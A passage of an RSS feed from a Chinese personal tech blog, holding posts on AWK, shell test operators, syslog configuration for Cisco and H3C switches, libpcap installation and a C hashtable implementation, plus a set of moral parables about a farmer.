0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;63dd7a&nbsp;&nbsp;OAM<br/>LSPA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;7b21e9&nbsp;&nbsp;MPLS协议<br/>PHY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 51284&nbsp;&nbsp;系统相关<br/>RSVP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;5e7018&nbsp;&nbsp;系统相关<br/>CSPF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ 18d0e22&nbsp;&nbsp;系统相关<br/>TNLM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;313ebc&nbsp;&nbsp;系统相关<br/>SNPG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;7f6c2d&nbsp;&nbsp;igmp snooping<br/>EOAM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 59670&nbsp;&nbsp;以太链路检测<br/>TRAF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;6524e3&nbsp;&nbsp;系统相关 <br/>DLDP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 51f5d&nbsp;&nbsp;DLDP协议<br/>LDT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 43bb7&nbsp;&nbsp;LDT协议<br/>ELAB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 7a9a3&nbsp;&nbsp;电子标签<br/>GREP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 3e469&nbsp;&nbsp;GRE<br/>SECE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;2db26f&nbsp;&nbsp;安全<br/>QOSA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;&nbsp;&nbsp;4041&nbsp;&nbsp;QOS<br/>IPMC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;36d642&nbsp;&nbsp;组播协议<br/>SOCK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;9095d5&nbsp;&nbsp;通讯相关<br/>VTYD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;619a17&nbsp;&nbsp;telnet服务<br/>TUNN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;77f664&nbsp;&nbsp;TUNNEL<br/>TRAP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ 223ff4e&nbsp;&nbsp;信息中心相关<br/>MDMT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ 15fae4b&nbsp;&nbsp;modem<br/>LOAD&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 486f1&nbsp;&nbsp;系统相关<br/>NTPT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ b553133&nbsp;&nbsp;NTP时间同步<br/>TAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;613d31&nbsp;&nbsp;Tacacs<br/>UCM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;&nbsp;&nbsp;c663&nbsp;&nbsp;不用关心<br/>LAM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;&nbsp;&nbsp;314c&nbsp;&nbsp;不用关心<br/>HS2M&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;488ca7&nbsp;&nbsp;系统相关<br/>MSTP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ 276034e&nbsp;&nbsp;MSTP协议<br/>SMLK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; 74311&nbsp;&nbsp;smartlink协议<br/>RRPP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; a6156&nbsp;&nbsp;RRPP<br/>DHCP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;160760&nbsp;&nbsp;DHCP<br/>RMON&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp; a99ea&nbsp;&nbsp;流量监控<br/>HOT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/ 3833372&nbsp;&nbsp;系统相关<br/>vt0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;1d4592&nbsp;&nbsp;telnet服务<br/>&nbsp;&nbsp;OS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5%&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;操作系统任务]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=63</link>
			<title><![CDATA[AWK的用法]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[GNU/Linux]]></category>
			<pubDate>Fri,19 Mar 2010 15:36:30 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=63</guid>	
		<description><![CDATA[cat date<br/>a 1<br/>b 9<br/>c 1<br/>d 1<br/>e 3<br/>f 3<br/>g 1<br/><br/>date的内容为上。<br/>如何打印出第二列最大的行<br/>awk &#39;NR==FNR{t=(t&gt;$2)?t:$2}NR&gt;FNR&amp;&amp;$NF==t&#39; date date]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=62</link>
			<title><![CDATA[几则故事]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[生活娱乐]]></category>
			<pubDate>Wed,10 Mar 2010 20:44:17 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=62</guid>	
		<description><![CDATA[<br/>&nbsp;&nbsp;&nbsp;&nbsp;（一）<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;A.一位饿得奄奄一息的人，跌跌撞撞地跑到一位农夫家。农夫给他一个馒头、一碗水，饥饿者得救了。得救者走到农夫家里，发现农夫家里一无所有。感动得热泪盈眶，长跪不起。此后，他身怀感恩，把爱带给他所遇到的需要帮助的人。<br/>&nbsp;&nbsp;&nbsp;&nbsp;B.一位饿得奄奄一息的人，跌跌撞撞地跑到一位农夫家。农夫给他一个馒头、一碗水，饥饿者得救了。得救者走到农夫家里，发现农夫家里摆着很多好吃的。感恩很快被愤怒替代。他举刀杀了农夫，因为，他发现农夫还有那么多没有给他。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考1：同样的行为会得到完全相反的结果——看到自己得到的，会感恩；看到自己没有得到的，会仇恨。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考2：救人命的是农夫奉献的馒头和水，与农夫自身拥有的并无关系。但现实的教育，更注重农夫一无所有情况下的慷慨，那意味着更高尚。这不自然改变了人们心中的标准和预期。实际上，爱心存在于生活的每一点，都平常得不能再平常，每个人都可以献爱心，而不是期待一个像A农夫那样的人出现。每个人都是自己的救世主。每个人都可以力所能及地帮助身边的人。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考3：感恩或者仇恨，往往都由一些细节决定而非本质决定。从本质上看，A和B两种情况下，结果都应该是感恩的。但只有正常而理性的人才能在两种情况下都保持同样的感恩心态。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考4：在感恩和仇恨之外，是否还可以有另外一种心态存在？<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;（二）<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;A.一位饿得奄奄一息的人，跌跌撞撞地跑到一位农夫家。农夫给他一个馒头、一碗水，饥饿者得救了。但后来，人们发现这个被救者是个被通缉的贪官。于是，很多人仇恨农夫，认为他助纣为虐。<br/>&nbsp;&nbsp;&nbsp;&nbsp;B.一位饿得奄奄一息的人，跌跌撞撞地跑到一位农夫家。农夫给他一个馒头、一碗水，饥饿者得救了。但后来，人们发现这个被救者是个曾经多次助人的善人。于是，很多人称赞农夫做了一件大功德事。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考1：当救人于难要视身份救人，每个人都会根据自己的标准决定应该救什么人，应该不救什么人。于是，很多人多一事不如少一事，见什么人都不救了。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考2：如果人们在两种情况下，都能对农夫身怀敬意，爱心或会茁壮成长。反之，则在势利、戒心等等的影响下，爱心会丧失。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;（三）<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;A.一位饿得奄奄一息的人，跌跌撞撞地跑到一位农夫家。这位农夫，指着另外一个农夫的家说：“看，那家就是曾施舍馒头和水救人的人，你去求他吧。”饥饿者艰难地走到那个农夫家门口，农夫开开门，抱歉地说：“我没有吃的了。”于是，全村的人都仇恨这位农夫，而没有人指责那位从来不帮人的农夫。<br/>&nbsp;&nbsp;&nbsp;&nbsp;B.一位饿得奄奄一息的人，跌跌撞撞地跑到一位农夫家。这位农夫，指着另外一个农夫的家说：“看，那家就是曾施舍馒头和水救人的人，你去求他吧。”饥饿者艰难地走到那个农夫家门口，农夫开开门，说：“我只有半个馒头了。”于是，全村的人都鄙视这位农夫，而没有人指责那位从来不帮人的农夫。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考1：对于有爱心者，人们的标准会不由自由地抬高。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考2：对于自私者，人们对把期望值降低到最小，因而也不会失望。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考3：超道德是驱逐爱心的强大力量，直到所有的人在面对饥饿者时都关上家门。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;（四）<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;A.一位饿得奄奄一息的人，跌跌撞撞地跑到一位农夫家。农夫给他一个馒头、一碗水，饥饿者得救了。得救者走到农夫家里，发现农夫家里一无所有。感动得热泪盈眶，长跪不起。此后，他身怀感恩，把爱带给他所遇到的需要帮助的人。同时，对于农夫的任何行为，他都不问善恶，全力支持。农夫失去镜子，认为自己一切都是对的。后来，因犯大错破产。<br/>&nbsp;&nbsp;&nbsp;&nbsp;B一位饿得奄奄一息的人，跌跌撞撞地跑到一位农夫家。农夫给他一个馒头、一碗水，饥饿者得救了。得救者走到农夫家里，发现农夫家里一无所有。感动得热泪盈眶，长跪不起。此后，他身怀感恩，把爱带给他所遇到的需要帮助的人。但是，对于农夫的行为，支持其善，直言其错，农夫辛勤耕耘，并不断改进，渐渐兴旺，广施爱心。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考1：感恩的方式不同会导致不同的结果。&nbsp;&nbsp; <br/>&nbsp;&nbsp;&nbsp;&nbsp;思考2：正常的思维什么时候都要保持，直言、批评往往是更好的方式。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考3：其实，吃完馒头、喝碗水后，转身离开，也是一种感恩。很多时候，帮助人的人，只是怀着一颗平和、感恩的心在做，并不刻意希望得到赞美或者回报。<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;（五）<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;A.一位饿得奄奄一息的人，跌跌撞撞地跑到一位农夫家。农夫给他一个馒头、一碗水，饥饿者得救了。村里人逢人见到农夫就夸他，做了一件善事。后来，即使遇到自己力不能及的事情，农夫也主动伸手相助。<br/>&nbsp;&nbsp;&nbsp;&nbsp;B一位饿得奄奄一息的人，跌跌撞撞地跑到一位农夫家。农夫给他一个馒头、一碗水，饥饿者得救了。有人怀疑农夫作秀，甚至怀疑这个饥饿者就是农夫自己找人扮演的。于是，农夫遇到求助者，就躲得远远的，恐怕再遭诋毁。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考1：赞美或者诋毁，往往会影响一些人的行为——一些心智不够成熟者的行为。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考2：如果祈求某种行为得到一致的评价，只会让自己走火入魔。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考3：遇到诋毁就逃避的人，永远只能当懦夫。<br/>&nbsp;&nbsp;&nbsp;&nbsp;思考4：农夫应该迅速忘记那个馒头和那碗水，并忘掉人们所说的，平静地做自己的事情，做一个快乐的农夫。<br/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=61</link>
			<title><![CDATA[shell编程IF的基本用法]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[GNU/Linux]]></category>
			<pubDate>Tue,23 Feb 2010 12:41:49 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=61</guid>	
		<description><![CDATA[1 字符串判断 <br/><br/>str1 = str2　　　　　　当两个串有相同内容、长度时为真<br/>str1 != str2　　　　　 当串str1和str2不等时为真<br/>-n str1　　　　　　　 当串的长度大于0时为真(串非空)<br/>-z str1　　　　　　　 当串的长度为0时为真(空串)<br/>str1　　　　　　　　&nbsp;&nbsp; 当串str1为非空时为真<br/><br/>2 数字的判断 <br/><br/>int1 -eq int2　　　　两数相等为真<br/>int1 -ne int2　　　　两数不等为真<br/>int1 -gt int2　　　　int1大于int2为真<br/>int1 -ge int2　　　　int1大于等于int2为真<br/>int1 -lt int2　　　　int1小于int2为真<br/>int1 -le int2　　　　int1小于等于int2为真<br/><br/>3 文件的判断 <br/><br/>-r file　　　　　用户可读为真<br/>-w file　　　　　用户可写为真<br/>-x file　　　　　用户可执行为真<br/>-f file　　　　　文件为正规文件为真<br/>-d file　　　　　文件为目录为真<br/>-c file　　　　　文件为字符特殊文件为真<br/>-b file　　　　　文件为块特殊文件为真<br/>-s file　　　　　文件大小非0时为真<br/>-t file　　　　　当文件描述符(默认为1)指定的设备为终端时为真<br/><br/>3 复杂逻辑判断 <br/><br/>-a 　 　　　　　 与<br/>-o　　　　　　　 或<br/>!　　　　　　　　非<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=60</link>
			<title><![CDATA[设置 Syslog 日志服务器，来获取CISCO和H3C交换机日志]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[工作日记]]></category>
			<pubDate>Sat,06 Feb 2010 13:14:01 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=60</guid>	
		<description><![CDATA[注:配置日志服务器前先检查是否已安装了SYSLOG服务需要修改一下/etc/sysconfig/syslog <br/>把文件SYSLOGD_OPTIONS选项后多加一个-r<br/>然后再增加/etc/syslog.conf配制.服务器的配制可以看系统的man syslog<br/><br/><br/><br/> <br/>H3C设备配置步骤<br/> <br/>&lt;Sysname&gt; system-view<br/> <br/>[Sysname] info-center enable<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;# 指定向日志主机输出日志信息的通道为 loghost 通道。<br/> <br/>[Sysname] info-center loghost 1.2.0.1 channel loghost<br/> <br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;# 关闭所有模块日志主机的 log、trap、debug 的状态。<br/> <br/>[Sysname] info-center source default channel loghost debug state off log state off trap state off<br/> <br/>注意：<br/> <br/>由于系统对各通道允许输出的系统信息的缺省情况不一样，所以配置前必须将所有模块的需求通道（本例为loghost ）上log、trap、debug 状态设为关闭，再根据当前的需求配置输出相应的系统信息。可以用display channel 命令查看通道的状态。<br/> <br/># 将 IP 地址为 1.2.0.1/16 的主机作为日志主机，设置信息级别为informational，输出语言为英文，允许输出信息的模块为所有模块。<br/> <br/>[Sysname] info-center loghost 1.2.0.1 facility local7 language english<br/> <br/>[Sysname] info-center source default channel loghost log level informational<br/> <br/> <br/>进行以上操作之后，系统就可以在相应的文件中记录日志信息了。<br/> <br/> <br/>CISCO交换机的设置举例<br/> <br/> 以下配置描述了如何将Cisco设备的日志发往syslog服务器<br/> <br/>　　cisco#conf t <br/>　　<br/>　　cisco(config)#logging on <br/>　　<br/>　　cisco(config)#logging a.b.c.d //日志服务器的IP地址 <br/>　　<br/>　　cisco(config)#logging facility local1　//facility标识, RFC3164 规定的本地设备标识为 local0 - local7 <br/>　　<br/>　　cisco(config)#logging trap errors //日志记录级别，可用&#34;?&#34;查看详细内容<br/> <br/>可选的级别有0－7共八个级别，0最高，7最低。这八个级别分别为： <br/>alerts Immediate action needed (severity=1) <br/>critical Critical conditions (severity=2) <br/>debugging Debugging messages (severity=7) <br/>emergencies System is unusable (severity=0) <br/>errors Error conditions (severity=3) <br/>informational Informational messages (severity=6) <br/>notifications Normal but significant conditions (severity=5) <br/>warnings Warning conditions (severity=4) <br/>(config)#logging on 启用日志服务。 <br/> <br/>选取最低的debugging级别可以记录所有可以记录的信息，包括系统信息、错误信息、debug信息等等。但是仍然不能满足我们的全部需求。　　<br/>　　cisco(config)#logging source-interface e0 //日志发出用的源IP地址 <br/>　　<br/>　　<br/>　　cisco(config)#service timestam log datetime localtime<br/>　　日志记录的时间戳设置，可根据需要具体配置 <br/>　　<br/>　　检验 <br/>　　<br/>　　cisco#sh logging<br/> ]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=59</link>
			<title><![CDATA[MMAP LIBPCAP]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[GNU/Linux]]></category>
			<pubDate>Wed,28 Oct 2009 16:21:07 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=59</guid>	
		<description><![CDATA[<a href="http://public.lanl.gov/cpw/" target="_blank">http://public.lanl.gov/cpw/</a> <br/><a target="_blank" href="http://soft.idcnote.com/linux/libpcap-0.9.8.20081128.tar.gz">下载板本</a><br/>以上有清楚的介绍及安装.<br/><br/>rpm -e&nbsp;&nbsp; --nodeps&nbsp;&nbsp;libpcap-*&nbsp;&nbsp;先要删除原先系统上的PCAP可以通过RPM -QA来查看<br/><br/><br/>cd /tmp<br/>tar -zxf /tmp/libpcap-0.9.8.20081128.tar.gz<br/>ln -s libpcap-0.9.8.20081128 libpcap<br/>cd libpcap<br/>sh bootstrap<br/>Hopefully, you have installed: libtool automake autoconf flex bison<br/>If you have problems, rm -rf config and re-issue the bootstrap program<br/>Ok to proceed?[N/y] y<br/><br/> ./configure --prefix=/usr --enable-shared<br/>make clean<br/>make install<br/>ldconfig<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.idcnote.com/default.asp?id=58</link>
			<title><![CDATA[hashtable C实现]]></title>
			<author>wentaiyou@126.com(kevin)</author>
			<category><![CDATA[编程学习]]></category>
			<pubDate>Mon,19 Oct 2009 20:51:09 +0800</pubDate>
			<guid>http://www.idcnote.com/default.asp?id=58</guid>	
		<description><![CDATA[原文：<a target="_blank" href="http://blog.csdn.net/netpet/archive/2008/08/27/2836783.aspx">http://blog.csdn.net/netpet/archive/2008/08/27/2836783.aspx</a><br/><br/>修改并做了个测试文件：<br/><br/>新建以下三个文件。在LINUX 2.6.8中<br/>gcc -o test test.c<br/><br/><br/>test.c文件中加入了一些时间测试变量及gettimeofday()<br/>在WINDOWS测试中需修改一下时间测试参数，可以在头文件中修改一下宏（暂没修改。呵呵！）<br/><br/><span style="color:Red">文件1&nbsp;&nbsp; myhash.h</span><br/>#ifndef _HASHTABLE_H<br/>#define&nbsp;&nbsp;&nbsp;&nbsp;_HASHTABLE_H<br/><br/>#ifdef&nbsp;&nbsp;&nbsp;&nbsp;__cplusplus<br/>extern &#34;C&#34; {<br/>#endif<br/><br/>#define NIL -1<br/>#define HashDefaultlength 11<br/>#include &lt;stdlib.h&gt;<br/><br/>typedef struct _HashNode HashNode;<br/>typedef struct _hashTable HashTable;<br/><br/>struct _HashNode{<br/>&nbsp;&nbsp;&nbsp;&nbsp;char * key;<br/>&nbsp;&nbsp;&nbsp;&nbsp;void * value;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode *next;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode *pt;<br/>};<br/><br/>struct _hashTable<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int size;<br/>&nbsp;&nbsp;&nbsp;&nbsp;unsigned int current;<br/>&nbsp;&nbsp;&nbsp;&nbsp;HashNode items[1];<br/>};<br/><br/>extern unsigned int GethashValue(char *key);<br/>extern void * HashGet(HashTable *T,char * key);//HashSearch<br/>extern void HashSet(HashTable **To,char * key,void *value);<br/>extern void HashAdd(HashTable **To,char * key,void *value);<br/>void HashRemove(HashTable *T,char * key);<br/>int HashContainKey(HashTable *T,char * key);<br/>HashTable * HashTableNew(int length);<br/>HashTable * NewHashTable(void);<br/>HashTable * HashExpend(HashTable ** T);<br/>void PrintHash(HashTable *T);<br/>void HashFree(HashTable 